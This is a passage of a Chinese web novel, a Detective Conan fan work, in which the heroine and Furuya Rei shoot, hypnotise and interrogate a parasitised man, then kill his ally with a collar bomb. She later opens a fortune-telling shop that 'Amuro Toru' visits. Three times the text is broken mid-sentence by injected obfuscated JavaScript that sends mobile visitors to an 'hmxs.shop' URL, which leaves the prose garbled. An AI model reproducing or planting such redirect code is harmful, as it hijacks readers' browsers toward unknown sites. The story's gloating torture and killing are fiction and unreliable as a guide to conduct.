加入组织后,诸伏景光展现了惊人的狙击天赋,短短半月就超过了行动组大部分的狙击手。 有一天在家休假时,他突发奇想地让黑沼四白尝试使用枪支看看。 这一试把家里的三个人都给惊到了。 不需要接受任何训练的黑沼四白也是在尝试后才发现,和她在体术上的无能为力不同,她在枪术上的天赋远超常人。 黑沼四白只需要学会使用枪支的基础知识,剩下的交给天赋即可。 不需要过多的练习,她就能成为一个神枪手。 不过她有一个致命的缺陷。 黑沼四白的身体太过脆弱,她无法承受枪支的后坐力,那会让她受伤。 所以她很少使用狙击枪,平常也只是用小巧轻便的手枪。 甚至除了家里的两人之外,几乎所有人都不知道她会使用枪支这件事。 黑沼四白也乐得以一个柔弱的姿态出现在外人眼中,尤其在她继承了黑沼家之后,这种表象让那个人对她无比放心。 但那是原世界的事了。 成为业务员后,黑沼四白第一次抽奖的奖品里,就有增幅墨镜。 而独自一人进行各种危险度较高的任务,对只有脑子好用的白板人士来说,还是有些过于艰难了。 于是初期的04号业务员,在枪术上的天赋便得到了充分的发挥,不过大多数时候还是作为辅助手段而使用。 难得的重操旧业,还算有趣。 耳机里的谈话接近尾声,本次计划的最后一步将由黑沼四白来执行。 正面硬刚宿体,对方狗急跳墙反倒不美。 黑沼四白果断选择下黑手,远程给他一枪,不致死却能让其失去意识。 活捉成就可达成。 男人的身影出现在瞄准镜里。 距离预定点位还有两米、一米—— 黑沼四白扣动了扳机。 酝酿多时的子弹瞬间出膛,在消音器的掩饰下,近乎无声地击中了目标。 准镜里的波本做了个手势。 15. 怪异都市(十二) 目标倒地,已丧失自主行动能力。 降谷零从口袋里拿出一个长条的小盒子,从里面取出之前准备好的针剂。 瘫在地上动弹不得的青田春树感受着伤口不断流淌出鲜血的痛苦,看着安室透的眼神里满是将要流出血泪一般的怨恨。 青田春树没有想到,拥有了能力的他居然会折得这么轻易。 店铺的选址太过偏僻成了他致命的破绽,周围根本没有怪异路过。 他连动用能力的机会都没有,就被不知哪里来的冷枪给放倒了。 居然用这种卑鄙的手段! 你们难道都不要脸面的吗?! 他这样的眼神降谷零见得太多了,造不成实际伤害的目光,不过是败犬无用的悲鸣。 他没什么表情地踩着青田春树的后背,确保对方不会突然暴起。 手中的针剂有些粗暴地刺入脖颈,对方只能满怀不甘地合上了圆睁着的眼睛。 降谷零轻车熟路地处理好现场,然后拎起彻底晕死的人打包带走。 金发青年迈着轻快的脚步离开了。 只留天上被云朵遮了一半的月亮,静静地注视着再度恢复了寂静的小巷尽头。 相隔一条街的集市中央,还是一如往日的喧闹景象。 无人知晓,一场足以颠覆这方世界的阴谋,就这样在未正式开始之前便宣告破灭了。 · 【系统,存档。】 已经把自己恢复成无辜路人模样的黑沼四白立在路边,怀里抱着一个黑色的兔子玩偶捏来捏去。 004:【收到!存档位已更新。】 目前为止的行动都没有出现差错,顺利得不可思议,并没有多少任务已接近尾声的实感。 接下来只需要用一些小手段,从宿体口中问出她想要的情报。 然后就可以送他上路了。 任务结束后他们就要立刻离开,黑沼四白回源世界,降谷零回M02世界。 短时间内想必是不能见面的了。 有点失落。 强行按下因意料之外的陪伴而生出的眷恋,黑沼四白把思绪转移到之后回源世界的后续行动上。 她捏着兔爪东想西想,不多时一辆车子在身前停下。 车窗打开后露出了降谷零的脸。 他笑眯眯地问道:“看看我发现了什么,请问您需要帮助吗?” 幼驯染可爱的笑脸能抹消心中所有的忧虑,黑沼四白弯起嘴角,举着兔子对他上下晃了晃。 兔子细声细气地说道:“好心的先生,我是一只迷路的小兔子,介意让我搭个便车吗?” 好心人降谷零走下来,为她打开了副驾的车门:“当然,我的荣幸,请这位兔兔女士务必给我这个机会。” 装作一副骄矜模样地上了车,插科打诨地玩闹了一下的两个人看着对方,不约而同地笑了出来。 降谷零借着给黑沼四白系安全带的空隙,凑过去亲了亲她柔软的脸颊:“有稍微高兴一些吗?兔兔女士。” “当然,最喜欢零了。” 谁会不喜欢降谷零呢?他简直是个小甜果,黑沼四白超喜欢的。 她果断对系统说道:【存档。】 必须把刚刚那一幕放进存档里! 这是不可再生的珍贵回忆,万一读档了,再来一次也不是这独一份的欣喜之情了。 004不想对此发表意见,它只是一串数据,不是很懂你们人类。 【已更新。】 —— 青田春树再度恢复意识的时候,眼前还是那个欺骗了他的安室透。 直冲脑门的怒火险些让他再度晕厥过去。 伤口处的疼痛让他骤然从愤怒中清醒了过来,他隐藏在乱发后的眼睛打量着现在所在的地方。 视线划过某个地方时停顿了一下。 那边堆放了三个麻袋的角落,还真是该死的眼熟。 这不就是安室透给他看的那张照片上,之前还躺着三个人的地方吗? 就是现在已经没人了,只剩下意味不明的麻袋扔在那里。 你连关人都不换地方的是吗? 也许是青田春树的目光比醒来的他本人要更有存在感,安室透抬眼朝他看了过去。 “啊,我就说也差不多该醒了。”他一张嘴就是气死人不偿命的话,“怎么醒了也不打个招呼呢?这可是很失礼的哦,青田先生。” 这说的是人话吗?!你看看我嘴里被塞着的东西再说一遍呢? 青田春树气到想发疯,之前伪装出的好涵养早就被抛到了九霄云外。 但被五花大绑又堵住嘴的模样,让他只是憋屈地在原地蠕动了两下。 最后也只有从伤口处飚出的两股血,表达了他此刻的愤怒。 “好啦,青田君好歹也是我们的客人,不要对他太严格了哦。” 一道轻飘飘的女声传入耳中。 青田春树这时才注意到,在安室透身后还摆了一张椅子,从他的视角隐约可以看见一角裙摆。 这家伙,居然还带了个女人来。 安室透微微侧过身体,他看到了坐在铺了一件衣服的椅子上,一个白头发的女人正在对他微笑。 怪异? 反正青田春树没见过哪个人类是白头发的,还是奇怪的粉色眼睛。 已经混沌的脑子无法深入思考。 他顺从内心深处的想法,只想控制那个怪异女人,帮他逃出这里。 脖颈间的纹路悄悄闪了闪,青田春树发动了能力,试图强行转化那个女人为他所用。 但。 没有反应。 失血让他的脑袋愈发昏沉。 他只能在脑海里重复而机械地,尝试着下达命令。 旁观了他做出的无谓挣扎的降谷零走过去,把堵着青田春树嘴巴的东西扯出来。 戴着手套的手拽着他的头发,让他抬起低垂着的头颅,把脸露了出来。 黑沼四白打量着这个被寄生的宿体。 失去伪装后,他那份蛮唬人的温和感消失不见了,脸也只是随处可见的平凡面孔。 看上去没有特殊性,心思也很浅显。 完全是一副路人模样。 有些说不上来的失望在心中闪过,黑沼四白抬手碰了碰右耳上沙沙作响沙漏耳坠。 她轻声问系统:【确定他本人就是宿体了?没有什么其它分身或者物件了吧?】 激动地变成小光球在系统空间跳来跳去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986156|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,004连连肯定:【没错没错!类病毒因子的所有反应只在他一个人身上,最多为了保险还要再处理一个被转化的镜鬼就可以啦!】 【不介意我先问个话再处理吧?】 004果断回复:【系统也想知道他为什么会知道降谷先生他们,请宿主务必严格审问他一番!】 主系统还不知道这事呢,上报上去的话它和宿主说不定会获得奖励,宿主之后的任务也能得到更多的保障。 毕竟这次只能算是简单的新手难度,哪怕不能随意使用高级技能,也还有强力帮手波本先生在。 可万一之后遇到更难的任务,波本和苏格兰也不能来的话,它柔弱的宿主可怎么办呢? 004碍于限制,有很多事都不能直接告诉宿主。它只能一味地给自己的宿主扒拉好处,让她活得久一点、再久一点…… 那她就放心了,黑沼四白摸了摸手腕上的精致的手环。 她的催眠技能升级成了高级技能,在这个小世界不能完全发挥效力。 之前做任务的时候体验到了催眠的便利之处,黑沼四白在脱离系统后,也有去专门学习普通的精神诱导。 二者相加,再配合辅助道具。 加之目标当前的精神状态也不是很健康。 足够了。 再不济还可以用些其它的手段,他们这样的人多少都会一点拷问技巧。 情报组领头人波本格外擅长这些。 不过能轻松解决的事还是不要搞得那么血淋淋的了,宿体死不死的倒不重要,主要是不想劳累她家零零。 黑沼四白抬眼,看向青田春树被迫抬起的脸,轻轻晃了晃手腕。 平时不会发出声音的铃铛响了两声。 男人的神情伴着铃音愈发恍惚。 “青田君,请问你的能力是?” “……转化怪异,让他们觉醒其它能力……” “还有呢?” “强行驱使他们听我的命令。” “所有的命令?包括瞬间从远方来到你身边吗?” “……是。” “你是什么时候获得这个能力的?当时的情形是什么?” “四天前。我在公园捡到了一颗石头,回家发现脖子上多了刺青一样的东西。” 黑沼四白看了一眼降谷零,询问他脖子上有没有刺青。 得到了对方肯定的点头。 看来那个就是被寄居的表现形式了。 眼见着青田春树越来越虚弱,黑沼四白抓紧时间继续提问:“你是怎么想到要找照片上的几人的?为什么要找他们?” “……天命之人,得到能力的那一晚我做了个预知梦。”青田春树喘着粗气,想要垂下头去却因为被扯着头发而无法做到,“梦里的他们破坏了我的计划,让我功亏一篑,所以要提前除掉他们。” 预知梦?天命之人? 这都什么乱七八糟的? 不待黑沼四白细想,她耳畔的沙漏状检测器突然再次倒转,打断了她的思绪。 004急道:【宿主,波动反应增强了。】 黑沼四白瞬间警觉起来,想到了对方手底下还有个镜鬼在。 她对着手里的手机,按下了某个指令。 16. 怪异都市(完) 不甘心。 青田春树以为,作为普通人类的自己既然得到了能力,接下来等待他的就不会再是以前作为底层普通人的日子。 高中肄业,没有一技之长,从事着靠体力和健康获得酬劳的辛苦工作。 对社会的失望越积越多,心里装满了对有能力的人,以及天生就站在普通人之上的怪异的怨恨。 那一晚改变了他的命运,他以人类之身得到了可以主宰世间怪异的能力,他青田春树是被天选中的人。 预知梦中的命运之子、天选之人,也将会在他提前知晓的情况下,像耗材一样被他清理掉。 青田春树踌躇满志地策划着,不甚聪明的脑袋努力开展着计划,仿佛看见了成为世界主宰的光辉未来近在眼前。 可这一切,却被莫名其妙到来的两个家伙破坏了。 还让他变成了这样狼狈等死的模样。 不甘和恨意像毒火一般灼烧着心脏,从远方赶来的死亡步步紧逼。 想活下去的执念驱动着大脑。 对了,他还有镜鬼。 被抓住的、愚蠢的镜鬼,依旧还在他的掌控之中,就算距离很远…… 也有能做得到的事。 已经开始涣散的意识不断地传达着命令,叫嚣着驱使镜鬼来到他身边。 只要一瞬间就好…… 只需要一点点的机会,镜鬼就能带着他逃离这里,他就能东山再起。 失去神采的瞳孔渐渐汇聚光亮,青田春树感受着距离他越来越近的镜鬼的存在,期盼地看向紧闭的高大铁门。 快些、快些到我身边来吧…… “你好像在期待着什么呢?” 坐在那里的奇怪女人说话了,还是那种让人厌恶的、轻飘飘的说话方式。 青田春树讨厌她看他的眼神,好像他是什么要清理的垃圾一样。 不过是个仗着有一张好脸,就能傍上厉害角色的人类女人。 她凭什么那么高高在上地看着他! 等他脱困之后,一定要让这个女人生不如死!再刺瞎她那双目中无人的眼睛! 哈哈—— 沉浸在自己臆想中的青田春树没有注意到,站在自己身边的男人看向他的目光里盈满了杀气。 黑沼四白和降谷零都知道,青田春树在进行最后的垂死挣扎。 宿体现在唯一能做到的,就是利用那只镜鬼逃脱这里,镜鬼的能力用来逃跑是真的很好用。 而仅凭他们两个人类,是阻拦不了身为怪异的镜鬼的。 不过他们也不会给他这个机会。 其实也可以就这样直接杀掉宿体,然后结束任务离开这个小世界。 可是黑沼四白还有些话没有问完。 眼见着答案近在眼前了,不问个彻底岂不是很亏? 但她也是没想到,都到了濒死的地步,这个宿体居然还能挣扎一番。 真是不得了。 黑沼四白问系统:【难道是类病毒因子激发了他的潜能吗?正常人到这个程度,已经是差不多崩溃的地步了。】 按照宿体的资质,在被催眠之后,就应该陷入精神混乱的状态了才对。 004乖巧回答:【也不排除这个可能。类病毒因子还是第一次出现在人类身上,我先记下来,之后报给主系统问问看叭!】 黑沼四白可有可无地点头:【可。】 那些都是小事,不管他被强化到什么地步,现在也只是放在案板上即将碾碎的鱼肉罢了。 只是,她现在有些不高兴。 切切实实地看清了宿体刚刚直奔她而来的恶意表情,许久没有过的被冒犯的感觉,让黑沼四白感到不愉快。 不止是她,降谷零这会儿的表情也可怕了起来,他一向不喜欢有人冒犯shiro。 何况还是这种垃圾货色的濒死幻想。 金发青年看向地上瘫软如泥的宿体,宛如看着一具即将腐烂的尸体,紫灰色的眼眸里翻涌着粘稠的恶意。 两个人都被惹得不高兴,始作俑者还近在眼前,那当然要立时把情绪发泄出去了。 想起她刚刚做的手脚,黑沼四白很期待,再过几分钟后青田春树会露出什么样的表情。 最后的希望在眼前破灭,像预示着将被夺走生命的报丧鸟一样。 他应该会崩溃得很彻底的吧? 现在得知的情报已经足够,剩下的也只是想问问所谓的预知梦是个什么玩意而已。 就算不知道没什么所谓了。 黑沼四白垂眸,露出一抹月华般脆弱而美丽的笑靥,完全看不出正在心里打着坏主意的模样。 她现在更想看着宿体在绝望中死去。 之前在降谷零手机上看到了提示消息,绑在镜鬼脖子上的项圈炸弹上的生物信息检测显示,对方已经逃离了那家酒店。 此刻被强制命令赶来的话…… —— 于是在青田春树的期盼中,仓库的大门被突然打开,门口却空无一人。 瘫在地上已是出气多进气少的宿体,脸上扯出了兴奋的笑容。 终于来了,快带我走! 降谷零回到黑沼四白身边,摘下手套后才把手搭在了她的肩上。 黑沼四白把手机递还给他,悠悠然地开口问道:“青田君,你知道人在什么时候才是最绝望的吗?” 三。 她缓缓抬眼,粉色的眼眸中仿佛绽开了层层叠叠的樱花,却没有半分温雅的美丽。 唯有如刀片般锋利的恶意倾泻而下。 二。 青田春树直觉有什么不对,但镜鬼已经碰到他了,他满心都是即将脱困的喜悦。 根本没空理会她意味不明的话。 他紧紧握住了镜鬼的手腕。 一。 时间到了,黑沼四白笑得愈发温柔。 “嘭!” 有什么声音在耳边炸响。 有什么东西倒在了地上。 有什么温热的东西溅到了他的脸上、身上。 青田春树愣愣地侧过头,被解开束缚的手里,还别扭地握着镜鬼的手腕。 映入眼帘的是一片猩红。 有些眼熟的身体躺在刺眼的红之上。 上半身朝着他的方向,就这么倒在了地上。 他的头颅不翼而飞,脖颈处破破烂烂地向外滋着鲜血,染红了周边的一切。 是镜鬼,他死了? 他怎么可以就这么死了!?他死了他怎么办?! 青田春树飞快地甩开手里紧握着的、属于尸体的手腕,脸上定格着混合了自得、期待、恶意的抽象表情。 最后的希望在眼前破碎,就在即将成功的一瞬间消失不见。 他这时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986157|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才反应过来,那个女人刚刚的话是什么意思。 “人在什么时候是最绝望的”? 就是此时,就是此刻啊! 这两个人,是多么可怕的怪物啊! 他们故意放任,又在最后一刻摧毁了他仅存的希冀…… 哈哈—— 宿体的目光变得呆滞。 他的嘴角艰难地扯出了扭曲的笑容,随之开始疯狂得大笑了起来。 “啊哈哈哈哈——!” 青田春树在轮番的打击与绝望下,彻底堕入了疯狂之中。 他倒在自己和镜鬼混合着的血泊里,看向一站一坐的男女的目光,如同看见了魔鬼现世一样。 青田春树就这样断断续续地大笑着。 本就已经濒死的他,在失去了支撑着精神的最后支柱之后,就完全丧失了对生的渴望。 被类病毒因子勉强维持的、仅剩的几缕生机,也伴随着这场恍若疯癫的大笑,彻底散去。 这个平凡又不甘于平凡的宿体,就这样滑稽地因为脑子不好,对不该冒犯的人产生了不该有的恶意。 从而失去了原本会有的痛快死法。 在绝望和痛苦中疯癫着笑断了气。 · 黑沼四白听着系统在耳边不断播报着波动反应下降的百分比,抬手抚上弯下腰凑过来的降谷零的脸颊。 亲了亲他的嘴唇,黑沼四白看向幼驯染那双带着不舍的、闪动着弃猫一样破碎感的漂亮眼睛。 养猫人可受不了这个眼神。 心脏一瞬间柔软得不得了,她软声叮嘱着:“零要好好照顾自己呀,我会想你的,有什么事记得打通讯。” 黑沼四白顿了顿,又补充道:“不准随便冲上去乱来,组织那点子破事可远没有你和小光重要。” 咽下想要说出的话,降谷零只是点头,然后便按住了黑沼四白的后颈深入地吻她。 唇瓣分开后又折返回来,轻咬了两下染上水泽的唇珠:“遵命,shiro大人。” 004:【类病毒因子反应已归零,业务员即将遣返。倒计时5、4……】 在传送前的最后一秒,黑沼四白露出了灿烂的笑容: “今天也最喜欢零和小光了。” 分离前看到的是彼此的笑脸的话,哪怕之后要面对狂风骤雨,也如微风细雨般不值一提。 —— 004:【传送结束,为确保宿主安全,已将宿主投放至源世界居住地。】 黑沼四白站在玄关处,缓了下神。 她看向镜中自己唇畔的浅浅牙印,恹恹地问道:【零那边已经成功落地了吗?】 004严肃道:【是的!降谷先生十分安全且健康地回到了传送前所处的安全屋,没有任何异常情况!】 【嗯,辛苦004了。】 黑沼四白最后看了一眼镜中的自己,按照以往出门后回家的惯例走向了浴室。 帮宿主锁好门窗,004继续汇报任务后续:【首个接点已确认清除,M356世界已回归原轨迹,源世界暂未出现其它波动反应。】 【部分情报已解锁,现已发送至系统邮箱。】宿主没回应就是知道了的意思,004很懂地继续说,【另外,系统面板已更新支线任务,请宿主及时查看。】 正在拆头发的黑沼四白一顿。 支线任务? 17. 模拟经营模式——ON “讲真的,谁能有我命苦啊。” 发出如此感叹的人正站在室内,抬眼扫视了一遍精致且符合她审美的装潢,本就恹恹的表情又添了些生无可恋的愁苦在里面。 黑沼四白幽幽问道:【就是说支线任务是让我来这玩模拟经营是吗?还得当个神棍。】 虽然以前做任务时也扮演过主系统给匹配的各种身份,但这活她是真没干过。 甚至连想都没往这想过一点。 主系统也是真的会玩的。 004干巴巴地提出反对意见:【倒也不必说是神棍啦……】 明明是占卜师嘛! 【往好处想一想。】004试图狡辩,【至少源世界足够坚强,shiro就可以通过高级分析和其它高级技能来精准占卜了。】 它莫名兴奋了起来:【那岂不是基本上可以实现百发百中?好耶!】 真是见了鬼的百发百中。 她有点不想干了…… 完全不觉得好在哪里的黑沼四白更忧郁了,她深深地叹了口气。 可不干是不行的。 毕竟这是黑沼四白能继续在源世界待下去的必要条件之一。 业务员在获得当前世界身份的同时,也需要适当地扮演当前身份的角色,这样才不至于被世界运行规则的底层代码当做外来者给赶出去。 之前刚到源世界那几天,黑沼四白的身份还没有被主系统完善好,尚且属于被主系统打了个临时补丁的半个黑户。 所以她那时哪怕得知了自己的职业,也不需要立刻进入角色,还能四处闲逛踩踩地盘。 而现在,第一次任务已结束。 距离那次仓促的传送也过了好些天了。 主系统那边加班加点的填资料,外加交给规则审核,才算把黑沼四白这个人完美且合规的安排进了源世界。 身份的确立,代表着黑沼四白其人正式在源世界落了户,是并非偷渡客和暂居者的本世界合规住民。 那么进入角色也就该提上日程了。 这类情况原本黑沼四白也是有应对方法的,只需要偶尔做一点符合现身份职业的工作就能糊弄过去。 她之前经常这么做,早就是个偷工减料的熟练工了。 但这次显然不太行。 主系统非常鸡贼地发布了支线任务。 强制要求黑沼四白按这次的身份经营这家占卜店,还是标红字必做的那种。 主线任务都够忙活的了,还搞了个强制的支线…… 明明以前都是睁一只眼闭一只眼,几乎从没管过这些的…… 真是的!烦人! 黑沼四白抿着唇角,轻轻鼓了鼓脸颊。 怎么就能重视成这个样子了? 连默许的摸鱼都不准了,源世界到底有谁在啊!? 很有危机感、生怕被迁怒的004给自己开了个静音模式,默不作声地等了一会。 估摸着自家宿主差不多过了最生气的时候,小心翼翼地问道: 【那,shiro,咱准备开工吗?】 开开开,开个锤子! 很想这么怼一下系统,但这傻白甜也不是主系统那个偏心眼子的罪魁祸首,万一弄哭了也不好哄。 于是黑沼四白憋屈地点了点头。 开吧,也没别的选项了。 来都来了,她还能让人灰溜溜地撵回去不成? 就是这样,属于黑沼四白的占卜师生涯,在一个平平无奇的阴霾天正式开始了。 虽然这个所谓的“占卜”,根本和玄学沾不上一点的边…… · “好闲。” 靠在软绵绵的躺椅上,黑沼四白手里的书又翻过了一页,整个人都散发着懒散的气息。 距离店铺正式开始营业的那日已经过去了三天,这间虽不位于热闹街区,可也算不上位置偏僻的占卜店至今还未开张。 她的快乐就这样蹦蹦跳跳地赶来了。 相当于只是把宅的地点从公寓换到了店里,而黑沼四白只需要付出一点点的时间用来通勤。 具体呈现为上午打车过来店里,下午再打车回公寓。 再抽空去周边遛一遛,看看探测器有没有反应。 附近的地盘已经基本踩过一遍了。 黑沼四白周末打算去东京以外的地方瞧一瞧,具体地点要等到出发前通过扔飞镖来决定。 顺带一提,她已经买了车,可至今还没找到合适的司机。 那天的种种抱怨仿佛在虚空索敌。 笑死,生气得有点早了,现在这日子跟不上班也没什么区别嘛。 上下班时间一概看店主本人的心意,完全不用担心工作会侵占和幼驯染们打跨世界通讯的时间。 哪怕主系统不知道偏心眼偏到谁身上去了,可明显还是很照顾她的嘛。 好清闲的职业,浅浅点个赞。 黑沼四白快乐地喝掉最后一口奶茶,合上了手里一直在看的道具——超厚的百科全书。 她这几天在看各种占卜技巧,本来只是想大致了解一下的,没想到意外的有趣。 把这些资料当做打发时间的工具,不知不觉地就给看了个七七八八。 现在的黑沼四白已经可以算作半个占卜学的理论大师了。 距离真正的占卜师,也只是稍微欠缺了一些些的实践而已。 区区占卜,轻松拿捏。 不过就算如此,黑沼四白也不打算按照传统模式去经营这家店。 那样多没趣啊,她会枯掉的。 垂落在胸前的柔软白发勾缠着指尖,黑沼四白轻轻勾起唇角,面上划过了一抹狡黠。 等到客人上门,正式开张的时候,那场面一定会很有意思。 她会好好期待一下顾客的有趣表情的。 —— 所以,第一个客人为什么会是他? 黑沼四白抱着黑兔子玩偶,微笑地看向坐在她面前的首位顾客。 对面的沙发上坐着一位黑沼四白再熟悉不过的人,他穿着浅色的薄卫衣和牛仔裤,袖子挽到手肘露出了结实的小臂。 清爽的打扮配上金发年轻人帅气的脸蛋,呈现出个人魅力的同时,还抹去了一些作为成年男子的威胁感。 完全一副人畜无害的单纯形象。 对这个幼驯染的源世界版本不感兴趣,黑沼四白便没有深入调查他是个什么样的人。 可她足够了解自家的零零。 就算不打开分析技能,黑沼四白也能说出他现下的状态。 这一位,简直可以称作是全副武装的上阵了,这副青春洋溢的表象下定然是满满的警惕。 黑沼四白头上缓缓浮现出一个小问号。 她的店难道是什么吃人的魔窟吗? 就这么怀疑她?派人监视了几天还不够,今天直接亲身上阵了? 现在的卧底这么闲的吗? 倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16986158|193639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好做自己的本职工作去啊。 黑沼四白稍微回想了一下,总觉得她知道的组织里的那些卧底们,好像个个都很努力工作的样子。 比他们这些三天打鱼两天晒网的努力多了。 组织每消失一个卧底,所属部门的运转都会艰难一段时间。 更有甚者,连完成既定的工作指标都变得费劲了不少。 部分人在暗地里还是蛮中意那些卧底的。 微妙地走了下神,黑沼四白迅速清醒,呼唤系统:【004,你检测一下,他身上带枪了没有?】 话虽这么说,她也只是再确认一遍而已,这人必然带了枪来。 反复的探查就代表着,他把自己当做了危险人物,纳入了需要防备的范围内。 不过…… 黑沼四白疑惑地蹙了下眉尖,她从来到这个世界到现在,有做过什么引起怀疑的事吗? 没有吧……大概。 不明白她为什么这么问,但听话的004立刻行动,用程序扫描了一下一脸无害的金发青年。 片刻后,它略带木然地回复道:【……带了,两把。】 原本还疑惑宿主是否有些过于警惕的004,感觉宿主还是对降谷零这个人太了解了一点,是它太松懈了。 不是,这人设不对吧? 谁家好人来个占卜店还带枪啊?! 怎么回事啊?这一位降谷零可是货真价实的公安的呀! 你的正义被吃掉了吗?! 它家宿主可是合法良民,这几天都老老实实的呢! 降谷零这操作它看不懂啊! 或许应该更新自己的插件了。 004缓缓地从光球瘫成了一个会发光的圆饼,扁扁地贴在了系统空间的地面上。 放弃自己. jpg 能看到系统空间内部的黑沼四白:别是扫个描就给她系统烧坏了吧? “那么,请问这位先生的名字是?” 总不能这么僵持着不说话,黑沼四白捡起了店主的身份卡开启了话题。 “失礼了,我的名字是安室透。”自称安室透的青年笑得十分阳光,“您是最近才搬来东京的吗?之前这里好像是一家书店呢。” 黑沼四白用笔在本子上记录着他的名字,闻言弯了弯眼睛笑道:“我是几天前从北海道搬来的,半年前来东京时正巧碰到之前的店主想要转让店铺,就买下来开了这家店。” 安室透笑眯眯地点头,紧接着又问道:“请问店主小姐怎么称呼?” “黑沼四白,除了姓氏之外,还请随意称呼。” 他有些惊奇地眨眨眼:“真的是很特别的名字呢,我可以叫您四白小姐吗?” “谢谢夸奖,当然可以。” 终止了这个关于自我介绍的闲聊话题,黑沼四白正式进入了占卜师这个角色,并念起了早就准备好的店铺介绍。 “安室先生是想要占卜些什么呢?”白皙得几近透明的指尖在本子上点了点,“本店提供的服务有借物寻人、心象解析以及部分未来的预测。” “预测未来?”安室透露出惊讶的表情,“真的吗?” “当然。”店主小姐点点头。 安室透垂眼思考了一会,随即下定了决心,看向黑沼四白的眼睛。 他不好意思地挠了挠头:“虽然四白小姐很厉害,但果然还是不想靠占卜来解决问题啊——抱歉。” 黑沼四白:耍我呢? 18. 新司机get? 会客室里坐着的两个人相对无言,氛围渐渐微妙了起来。 一旁的小香炉里正燃着闻起来有些沉郁的清苦药香,丝丝缕缕的轻烟,正顺着盖子上精致的镂空纹样向外伸展着蔓延出来。 具有养神静心效果的香气萦绕在黑沼四白的周身,勉强安抚了一下她险些被安室透挑起波动的情绪。 纯白的纤长睫羽微动,黑沼四白缓缓地抬起了一直半阖着的眼帘。 展露全貌的粉眸中,似是笼着朦胧的雾气一般,让人看不真切其中的情绪。 她看向疑似超经意地说出了这等挑衅话语的安室透,幽幽发问:“安室先生,您莫非是来逗我玩的吗?还是说觉得我可能是一个样子货,所以并不相信我呢?” 这家伙绝对是故意那么说的。 对降谷零这个人了解得不得了的黑沼四白,只需要稍微动一动脑子,就能知道他在打着什么主意。 真是的。 作为衍生出零这个同位体的所谓“本体”,居然连这一点都能是相似的吗? 一时不察,她差点叫他给气笑了。 黑沼四白的眼中几不可查地闪过一抹愠怒,她极快地把异样的神色藏好,指尖用力地捏了捏软乎乎的兔子耳朵。 这个可以押后再议,眼下要紧的是其它事。 比如,眼前这个正一脸纯然无辜地看着她的安室透。 再次念到这个名字,黑沼四白感觉好不容易压下去的愠怒感又有卷土重来的架势。 居然连取假名都是一个套路,真是有够让人不愉快的。 她努力在心里安抚着自己,强行把注意力转移回当下的情境,不再去想那些扰人的糟心事。 正是因为她清楚的知道安室透的心路历程,所以此刻的黑沼四白愈发的觉得自己不舒坦了。 于是,心底的坏水如沸腾一般咕噜咕噜地冒起了一个又一个的泡泡。 折腾人的主意像数不尽的毛线球一样,纷纷滚动着跑了出来,在黑沼四白的脑海中旋转跳跃。 这几天刚好过得有点无聊,这家伙又主动送上门来没事找事,四处乱蹦地给她添堵。 不如就用他来给自己找点乐子吧? 反正这个安室透看起来一副很会演的样子,来到她面前也有他自己的目的。 那她小小的玩一下也没什么的吧? 黑沼四白理直气壮地想道。 “哎?四白小姐怎么会这么想?” 听到她这话,安室透露出惊讶的表情。 他有些急切地微红着脸,解释自己放弃占卜的原因:“是我自身的问题,并不是想要愚弄您的意思。” “其实我今天只是在路过这边的时候临时起意,才贸然决定进来打扰的,并没有仔细考虑自己想要占卜的是什么。” 金发青年认真地看向对面端坐着的店主小姐,试图挽救自己在她心里的印象:“刚刚说到占卜的时候,脑袋里一瞬间冒出来的也是委托的内容,可仔细想了一下之后觉得拿这种事来问您到底不妥。” 安室透像是生怕黑沼四白误会他在耍她一样,不给她插话的机会便紧接着说道:“可如果拿委托来询问四白小姐的话,无论对委托人、对我自己,还是对您,都不是负责任的做法。” “于是思考过后,还是决定放弃了。”最后,他甚至还给这段略长的解释做了个总结,也是十分严谨了。 “委托?” 揉捏兔子玩偶的手顿了一下,在听到这个让她感兴趣的词之后,黑沼四白便没有再认真听他下面的一长串解释了。 叽里咕噜说什么呢? 太长了懒得听,还是直接跳过算了。 反正又不是什么重要的话,左不过还是那些糊弄人的东西。 黑沼四白并不想浪费时间和她的脑容量,去记住那些虚伪的假象。 直接略过了之前的所有话题,黑沼四白只是挑着自己好奇的地方问道:“委托是指安室先生在做的工作吗?” 这个安室透居然还有其它工作的吗? 一般情况下,能用上委托这个词的,估计只能是侦探一类的了吧? 这可不是一份简单的普通兼职。 看不出来啊,不得不说安室透真的是有够努力的,卷王在世恐怕也不过如此。 源世界所谓的本体降谷零,居然是这么个设定吗? 黑沼四白这下是真的有点被惊到了,连带着那股子不爽都消去了一点点。 虽然只有很少的一点儿。 她们家的零零平时除了参与一下组织的任务,其它时候要么是带着黑沼四白出去玩,要么是宅在家里陪她。 